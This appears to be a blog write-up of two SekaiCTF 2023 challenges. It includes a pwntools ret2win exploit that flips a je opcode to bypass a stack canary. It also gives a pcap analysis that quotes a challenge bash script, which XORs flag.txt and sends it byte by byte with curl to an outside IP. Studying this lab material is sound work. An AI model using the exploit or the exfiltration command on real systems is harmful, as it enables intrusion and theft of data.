Home SekaiCTF 2023
Post
Cancel

SekaiCTF 2023

SekaiCTF was an intermediate-level 48-hour CTF hosted by the team Project Sekai, and contained a lot of interesting challenges. The following challenge-writeups are for two of the challenges I solved during the competition.

Pwn

Cosmic Ray

This challenge was released about half-way through the CTF and ended up with 149 solves in total.

Challenge

The provided zip-file contains a challenge binary, the ld and the libc. The binary have canaries and NX enabled, but PIE has been disabled

1
2
3
4
5
6
7
8
$ pwn checksec ./cosmicray
[*] '/home/loevland/ctf/sekai/pwn/cosmic_ray/dist/cosmicray'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'

When running the binary we are given an arbitrary write with a twist; We are only able to flip a single bit position of the memory address we provide. After the bitflip (if we supply a valid memory address) we are prompted for some input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x3ff000

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|1|1|1|1|

Enter a bit position to flip (0-7):
0

Bit succesfully flipped! New value is -1

Please write a review of your experience today:
asd

Decompiling the binary reveals the following main function

Decompiled

The supplied emory address is passed to the cosmic_ray function. Further decompilation of this function is not required to solve the challenge, as all it does is actually flipping a single bit of what is stored at the memory address we supply.

After the bit flipping gets is being called, which allows us to overflow the v5 buffer and overwrite the rip register. The binary comes with a win function which is not being called from anywhere

Win

The only thing preventing us to do a standard ret2win by overflowing the buffer and pass win into the rip register is the stack canary. At the end of the main function the value of the canary on the stack is checked to see if it has changed or not. If the value has changed (which happens when we overflow the buffer with the help of the gets function) the program will exit, but if it has not changed the program will not exit and continue executing until its done.

If we look at the assembly-instructions of this canary-check we see that there is a conditional jump instruction, je, which makes the program jump past __stack_chk_fail@plt (which is the function which exits our program as it detects our overflow) only when the stack canary is equal to its original value.

Stack_check

With the help of the bit flip we are given we can change the je instruction to another jump instruction that will not call __stack_chk_fail@plt when the stack canary has been overwritten(e.g. jne or jbe). We will then be able to perform our buffer overflow since the program will not exit prematurely because of our canary overwrite.

Looking at the opcodes we see that je has the value 0x74, and jbe has the value 0x76

Opcodes

To change the je instruction to the jbe instruction we have to flip the 6th bit.

Knowing that we don’t need to worry about the canary anymore we can use ret2win to solve the rest of the challenge.

This is the final solve-script for the challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './cosmicray', checksec=False)
host = args.HOST or 'chals.sekai.team'
port = int(args.PORT or 4077)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
offset = 56
ret = 0x40101a
canary_jmp = 0x4016f4
bit_pos = 6

io = start()
io.sendlineafter(b"it:\n", str(hex(canary_jmp)).encode()) # Address of je instruction
io.sendlineafter(b"7):\n", str(6).encode())               # Overwrite from "je" to "jbe"

# Ret2win
payload = b"A"*offset
payload += pack(ret)
payload += pack(exe.sym.win)

io.sendlineafter(b"today:\n", payload)
io.interactive()
1
2
3
4
$ python3 exploit.py
[+] Opening connection to chals.sekai.team on port 4077: Done
[*] Switching to interactive mode
SEKAI{w0w_pwn_s0_ez_wh3n_I_can_s3nd_a_c05m1c_ray_thru_ur_cpu}

Forensics

Eval Me

This challenge ended up with 303 solves in total during the CTF.

Challenge

We are given a pcap and a netcat port and address which we can connect to. The pcap contains recorded network packets which we should investigate with wireshark.

Looking through the recorded packets we see a lot of different protocols being used (TLSv1.3, HTTP, DNS, TCP). The most interesting packets come from the HTTP protocol, as there seems to be some sort of communication in JSON between a client and a server.

Http

All the http-packets have this structure, with the client sending a POST request with curl to the server with some varying value for the JSON data field, and the server then responding with a ok:true for each request.

The values sent from the client in the data field seem like jibberish, but looks interesting enough that we keep the values for later in case we uncover something more in this challenge. We can apply a filter to only get http-packets of length 215 to get all the packets sent by the client(either by parsing the values with tshark, manually, or other preferable methods).

As we don’t find anything more particulary interesting in the pcap it is worth investigating the server address and port we are given.

Netcat

As the challenge is called eval_me, we should probably use the python function eval for this challenge to solve all the math problems. What could possibly go wrong by blindly calling eval

I wrote this little python script to solve the math problems. The script also prints the received math-equations, as this challenge smells a bit fishy…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote("chals.sekai.team", 9000)

io.recvuntil(b":)")
io.recvline()
io.recvline()
calc = io.recvline().strip()

io.sendline(str(eval(calc)).encode())

for i in range(99):
    io.recvuntil(b"correct\n")
    calc = io.recvline().strip()
    print(calc)
    io.sendline(str(eval(calc)).encode())

When running the script we see what was sort of expected

Eval

In the middle of the equation solving there is some code passed to our eval function, which makes our script execute the python code, which in this case fetches, runs, and deletes a bash-script from https://shorturl.at/fgjvU. Manually fetching the script, called extract.sh, from the url we see the following code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'

# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3
    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
        val3=$(( val1 ^ val2 ))
        DataOut+=$(printf '%02x' "$val3")
    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}
XOREncrypt $KEY $FLAG
exit 0

One of the last commands, curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null, can be recognized from the pcap we analyzed earlier. This command is what created the requests we extracted. The script reads the flag from flag.txt and xor it with the key s3k@1_v3ry_w0w. This means that the values we extracted earlier could be the encrypted flag!

We attempt to decrypt the encrypted flag with python

1
2
3
4
5
enc_flag = "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f" # Extracted from pcap
key = "s3k@1_v3ry_w0w" # Key from extract.sh

for idx, enc_char in enumerate([int(enc_flag[i:i+2], 16) for i in range(0, len(enc_flag), 2)]): # Split enc_flag in pairs of 2
    print(chr(enc_char ^ ord(key[idx % len(key)])), end="") # Xor key and enc_flag byte by byte
1
2
$ python3 decrypt.py
SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}
This post is licensed under CC BY 4.0 by the author.